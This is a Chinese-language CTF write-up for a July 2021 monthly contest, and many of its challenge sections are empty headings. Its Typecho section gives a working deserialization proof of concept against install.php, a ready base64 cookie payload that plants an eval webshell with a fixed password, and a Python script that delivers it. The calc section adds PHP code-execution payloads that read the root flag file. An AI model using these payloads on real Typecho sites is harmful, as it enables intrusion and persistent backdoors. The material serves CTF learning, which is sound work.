2021后浪七月月赛WP

写在前面的话


这次的比赛因为存在着一些原题,所以做起来还是比较轻松的,最终成绩是排名第一,只剩下两道Pwn题没有做出来,其中一道有点思路,但是懒得继续做了,另外一道则是一个堆的unlink类题目,确实,没有接触过,基本没有思路,这次的题主要还是老样子有点脑洞题了,但是也确实出现了一些很神奇的题目,其中QR的那一道就很新鲜,很奈斯,学到了很多的新东西(不过确实以后不想再碰二维码类题目了)

web

1.typecho

前言

一开始想到了可能是它的反序列化漏洞,但是始终不会利用,,后来通过看了好多好多的利用方式吧,通过现有的payload结合burpload完成了漏洞复现,之后又查看了会儿poc,自己利用poc生成了自己的payload,并通过python脚本再次实现了复现。

前置知识

由于涉及到漏洞分析,篇幅过大,所以在之后会专门写一次漏洞分析的文章

题目复现

通过百度,找到相关漏洞利用poc如下:

<?php

//编写最后 call_user_func 函数利用的类
class Typecho_Request
{
    private $_filter = array();
    private $_params = array();

    public function __construct(){
        $this->_filter[0] = 'assert';   //采用传统回调利用,call_user_func + assert
        $this->_params['screenName'] = 'file_put_contents("tyshell.php", "<?php @eval(\$_POST[donstpast]); ?>")'; //bypass ob_start()限制
    }
}


class Typecho_Feed
{
    const RSS2 = 'RSS 2.0';
    private $_type;
    private $_items = array();
    public function __construct(){
        $this->_type = self::RSS2;
        $this->_items[0] = array(
            'author' => new Typecho_Request(),
        );
    }
}

$final = new Typecho_Feed();
$poc = array(
    'adapter' => $final,
    'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($poc)));
?>

通过运行该poc,可以生成一个带有一句话木马的payload,之后我们就要利用这个payload来getshell了,我最开始是用burpsuite抓包改包的方式来完成的,后来也写了个脚本,这里先介绍抓包,之后再贴上脚本
进入页面后打开抓包刷新,获得如下页面

之后进行内容的构造,,首先地址改为
/install.php?finish
之后添加Referer内容为你访问地址的上级目录,及如果你的地址为
/install.php?finish
那么你的referer就为
/install.php
添加Cookie,内容为上面poc审查各行的payload,如果懒的话,可以直接用我的呢,

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NzE6ImZpbGVfcHV0X2NvbnRlbnRzKCJ0eXNoZWxsLnBocCIsICI8P3BocCBAZXZhbChcJF9QT1NUW2RvbnN0cGFzdF0pOyA%2FPiIpIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

我的payload可以生成一个tyshell.php的一句话木马,密码为donstpast
添加完成之后,进行发包,可看到响应为200,那么利用就成功了,此时已经在我们访问的目录下创建了一个tyshell的一句话木马了呢

如果这点操作也懒得进行,可以使用我写的烂烂的脚本,只需要修改靶机地址,就可以直接完成上述操作了

import requests

url = '靶机地址(加http/https)/install.php?finish'

headers = {
    'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36',
    'Cookie':'__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NzE6ImZpbGVfcHV0X2NvbnRlbnRzKCJ0eXNoZWxsLnBocCIsICI8P3BocCBAZXZhbChcJF9QT1NUW2RvbnN0cGFzdF0pOyA%2FPiIpIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9',
    'Referer': '靶机地址(加http/https)/install.php'
}
try:
    response = requests.get(url=url, headers=headers, timeout=10)
    if response.status_code == 404:
        print('没找到install.php页面,不存在反序列化漏洞')
    else:
        print('存在反序列化漏洞,并已在当前目录写入shell:tyshell.php, 密码为donstpast')
except:
    print('过程存在故障,请检查代码')

再之后的话,我们就要去连shell了呀,这里采用的是蚁剑呢

测试连接,成功

双击进入shell窗口,很顺利的就进去了呢。

然后就是要找flag了,发现在根目录下

获得了本次flag

2.calc

前言

因为之前做过原题的样子,所以,虽然已经很久没做过web题,但是依旧感觉很亲切的样子,本题是一道命令执行的题目,原题应该还有个waf绕过的样子,不过这里并没加waf,直接就是去掉waf之后的,无疑降低了不少难度

前置知识

在php中
①scandir — 读取特定的目录数据。
②var_dump() — 用于输出变量的相关信息
③file_get_contents() — 是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
语法:file_get_contents(path,include_path,context,start,max_length)
④chr(47) —括号为对应字符的ascii码,47对应的字符为/,也就是根目录

题目复现

进入靶机地址,获得了php源码,通过代码审计,可以知道只需获取一个num值,之后可以自己构造其他的命令,黑名单里过滤了一些符号

所以,我们可以首先扫描一下根目录,看看里面有什么东西,因为/被过滤,所以我们采用chr(47)来代替
构造payload如下:

?num=var_dump(scandir(chr(47)))

可以发现,在根目录存在flag文件。
那么接下来,我们就是要构造一个payload来查看flag文件里的内容
这里就要用到file_get_contents函数,另外,由于存在过滤,所以我们要用char()转ascii再进行拼接

所以我们可以构造payload如下:

?num=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))


获得本题flag

Misc

1.云缨和韩信的故事

前言

本题刚看到题的时候就知道肯定有汉信码(谐音梗扣钱),,但是云樱的是啥确实没想到,后来被朝辉哥哥提醒才知道是云影加密(get到一个新的东西呢)

前置知识

①汉信码:一种矩阵式二维条码。从形状上,它呈正方向、有深色和浅色数据模块分布其间,由中国物品编码中心牵头组织相关单位合作开发,完全具有自主知识产权。和国际上其他二维条码相比,更适合汉字信息的表示,而且可以容纳更多的信息。
中国物品编码中心提供了生成和解密的应用:http://www.gs1cn.org/Service/Book.aspx?classid=3

②云影加密(引用自https://www.jianshu.com/p/b5aa5cf60f83
有1,2,4,8这四个数字,可以通过加法来用这四个数字表示0-9中的任何一个数字,例如0=28, 也就是0=2+8,同理7=124, 9=18。这样之后再用1-26来表示26个英文字母,就有了密文与明文之间的对应关系。引入0来作为间隔,以免出现混乱。所以云影密码又叫“01248密码”。

python解密脚本:

#!/usr/bin/python
# -*- coding=utf8 -*-
"""
# @Author : pig
# @CreatedTime:2019-11-2423:54:02
# @Description : 
"""
def de_code(c):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    flag = []
    c2 = [i for i in c.split("0")]
    for i in c2:
        c3 = 0
        for j in i:
            c3 += int(j)
        flag.append(dic[c3 - 1])
    return flag

def encode(plaintext):
    dic = [chr(i) for i in range(ord("A"), ord("Z") + 1)]
    m = [i for i in plaintext]
    tmp = [];flag = []
    for i in range(len(m)):
        for j in range(len(dic)):
            if m[i] == dic[j]:
                tmp.append(j + 1)
    for i in tmp:
        res = ""
        if i >= 8:
            res += int(i/8)*"8"
        if i%8 >=4:
            res += int(i%8/4)*"4"
        if i%4 >=2:
            res += int(i%4/2)*"2"
        if i%2 >= 1:
            res += int(i%2/1)*"1"
        flag.append(res + "0")
    print ("".join(flag)[:-1])

c = input("输入要解密的数字串:")
print (de_code(c))
m_code = input("请输入要加密的数字串:")
encode(m_code)

题目复现

2.捉猫猫

前言

前置知识

题目复现

3.一个有灵魂的二维码

前言

前置知识

题目复现

4.知道什么是apng嘛?

前言

前置知识

题目复现

5.steganography

前言

前置知识

题目复现

6.A good song

前言

前置知识

题目复现

7.flag.txt

前言

前置知识

题目复现

8.Beautiful sound

前言

前置知识

题目复现

9.Do you know QR

前言

前置知识

题目复现

Re

1.maze

前言

前置知识

题目复现

2.QQQQT

前言

前置知识

题目复现

Pwn

1.签到

前言

前置知识

题目复现

2.win hacker

前言

前置知识

题目复现

3.偏移 溢出 快乐

前言

前置知识

题目复现

4.据说简单

前言

前置知识

题目复现

5.uunlink

前言

前置知识

题目复现

Crypto

1.密码不能一道没有吧

前言

前置知识

题目复现

2.RSA

前言

前置知识

题目复现

Tags:wpCTF后浪月赛
上一篇
下一篇

添加新评论

召唤看板娘